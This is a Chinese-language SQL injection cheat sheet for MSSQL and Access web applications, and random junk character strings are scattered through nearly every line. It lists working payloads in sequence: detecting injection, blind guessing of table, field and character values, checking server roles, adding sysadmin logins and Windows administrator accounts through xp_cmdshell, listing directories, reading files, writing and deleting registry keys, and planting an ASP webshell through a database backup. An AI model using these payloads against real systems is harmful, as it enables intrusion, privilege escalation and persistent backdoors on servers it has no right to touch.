手工脚本注入
, l9 F5 R- h9 D; ^1.判断是否有注入;and 1=1 ;and 1=2
6 }& o! S& o M; c1 t: c
$ f6 E$ A. G# u5 E7 y9 n2.初步判断是否是mssql ;and user>0 9 K I9 _% G# ~; y' f# e) @# N
2 D% M5 @, O. M) E: c3.注入参数是字符'and [查询条件] and ''='
1 o4 z7 |. Q1 A% t* l" q2 a
2 E1 w. h. f7 i6 g1 n" d1 A$ V4.搜索时没过滤参数的'and [查询条件] and '%25'='
2 V& B O E# a o" ~/ ~/ e5 w( h. X0 a) u; V/ A8 r
5.判断数据库系统
, m/ y/ P; W0 K/ U. ?2 O& E;and (select count(*) from sysobjects)>0 mssql 0 M( K5 O" r) u c6 z5 ^
;and (select count(*) from msysobjects)>0 access
/ ~" k- w5 M5 }
: B. }( j1 T, V: g: b$ c. W2 W1 H6.猜数据库 ;and (select Count(*) from [数据库名])>0 ) m5 L; n9 N; [$ d
+ F) U4 R) I5 f! V" i& x/ ^
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3 b9 r( J- G) i- T/ P
) ^: b# Z; y, D! h% F ]
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9 M; m/ y; N, ]& C8 I# G4 r7 O/ j, g
9 G* |' T) {! X& H
9.(1)猜字段的ascii值(access)
: D& m @3 B' Q( k5 q; T;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
2 w- g9 i$ J4 V' @- C8 j# G3 s' ~2 n, e- m5 w+ \
(2)猜字段的ascii值(mssql)
1 }. `9 G1 z, ?;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
0 P0 @! ^3 S I/ b. {& x
) b; o' m- h, H3 e4 e- L# I/ Q& ]10.测试权限结构(mssql) 0 u% L, _: `+ ~" `* f
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
! P. q1 y( \* X4 R;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
4 G* a+ Z, Z. D5 M' i% B6 A2 Q;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- % A/ A, B: ^5 |, `
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
0 f9 j5 i- B( ];and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
. Y- ]: q7 x6 J: o% {0 C) j;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7 g( ?1 w) { d+ K4 Q3 M8 b
;and 1=(select IS_MEMBER('db_owner'));--
9 U# P% k5 b' n* P! I' r- M9 P5 j# a& \) z
11.添加mssql和系统的帐户
" H+ r2 X; |7 O0 k;exec master.dbo.sp_addlogin username;-- 5 ]- j e5 h$ X2 b* H. Y3 U0 T
8 e- y# L- Y& Z;exec master.dbo.sp_password null,username,password;-- ) U: z/ u a8 v+ g
7 L$ p, P8 J0 T) E3 o;exec master.dbo.sp_addsrvrolemember sysadmin username;--
9 N d+ Y+ V9 y7 ?# U
8 v! g. `6 }/ Z$ b- S;exec master.dbo.xp_cmdshell 'net user username password
+ n$ D) f' c' A$ K3 @+ F* o/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
3 S% k. F% o" z" ]/ ]9 Q+ j; A8 c3 Q
;exec master.dbo.xp_cmdshell 'net user username password /add';--
2 q' s& [6 A4 f% R8 V! [
" F2 M) d" m4 }; p- E$ p;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
0 p) M0 L+ f$ b6 S9 y8 B; F
! W% Y, e+ N, j+ D& `' y12.(1)遍历目录
0 k8 T9 j$ M0 t
x1 z4 o* C/ o;create table dirs(paths varchar(100), id int)
7 ^8 A+ P G" R6 f( {/ M" x3 `;insert dirs exec master.dbo.xp_dirtree 'c:\' ! g" o' }: U* K" ~' I/ i- e% [
;and (select top 1 paths from dirs)>0 8 A9 [3 P5 M$ [) n# y( p
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) " B) b5 |5 d/ u
* I4 b; E5 O, K! Q2 t
(2)遍历目录 ; S$ S3 J1 n/ Q4 ~ G+ l3 `+ I
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
" S+ M; t9 ~- _% w# e8 T5 b' Y" u;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9 ]" s6 V ^& f, t;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 0 u, T) B+ ~7 o) K$ [
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
9 M C; A1 }; T; D |# T: P3 Y4 g; C4 H;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
9 c- b/ S9 s5 K [, }) t5 u9 W' [6 }! N% v" a$ e* f. I4 ? E
13.mssql中的存储过程
2 ?4 f" K$ \* ?7 `/ O$ N
$ t2 @8 I8 w& \9 D! oxp_regenumvalues 注册表根键, 子键
* M3 S* d5 _9 I;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 " K% m8 n: @) A
2 h4 i% Q' w+ a3 Y" j; J
xp_regread 根键,子键,键值名
R' B) E3 K8 u+ |' ^- I( I6 Y;exec xp_regread 4 C# H6 ^/ K! Q3 }' S
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ; w1 \" u; f3 O
3 V" ?9 q+ n& f- v8 wxp_regwrite 根键,子键, 值名, 值类型, 值 / f% l$ @: E" I) N6 q3 T; w3 Z D
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 4 ^& g1 @; ?' S Q- T
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
6 [; Y- n/ p" W8 R, O' u
+ s( I0 Q$ ~- p# C; W5 Qxp_regdeletevalue 根键,子键,值名 2 b4 P4 {4 v* h( F" |/ F R2 b
/ |) r% K7 h+ \7 f$ R. k; Q8 Rexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $ f/ s7 [2 c) N
- J3 p. R. h/ M6 e# d$ Y. Kxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3 y9 f9 B3 E+ G. R J' S7 T P
+ p' ^1 _6 R" D w14.mssql的backup创建webshell
4 u6 ?+ i6 |% K9 u2 luse model * a6 _9 y6 k* q* x6 \, ^
create table cmd(str image); : |3 Y- s6 c% c$ a. v* Q
insert into cmd(str) values ('');
" U: a7 y9 [, f% n, Z+ Hbackup database model to disk='c:\l.asp'; * w1 V( j5 H) N2 Z- a3 G
0 C5 [8 d) s' P. {! A15.mssql内置函数
* t: t" L6 o) T) U' S;and (select @@version)>0 获得Windows的版本号
! ]0 P5 e! I, ^0 \: Y9 Z+ I% i;and user_name()='dbo' 判断当前系统的连接用户是不是sa # b3 t* R! O! ?% ?; Q
;and (select user_name())>0 爆当前系统的连接用户
, o* n& x8 H$ k6 S3 p; ~- S S1 q- W;and (select db_name())>0 得到当前连接的数据库 0 P9 V% x/ [' d/ O" H0 ?7 ~
s. L: d# }* @ f: a16.简洁的webshell ' d0 t; [* E* ~+ h% i. q! O
& P8 O& k5 M9 P$ P7 puse model * i% ~% i) R# _" f3 |
O. S* K7 i0 N) w
create table cmd(str image); 5 W' L. A( a" W( i$ O
6 ?0 _! C2 O. K8 |insert into cmd(str) values ('');
/ T6 ^/ |" O* c" ?' _9 `! H* \9 G
4 i* A5 M: q% X1 t+ M r2 k$ u# zbackup database model to disk='g:\wwwtest\l.asp'; 3 q3 k, Y# m6 l8 _8 ~; E0 Q0 X8 j
( v8 W3 f& }7 ?' S M% s
|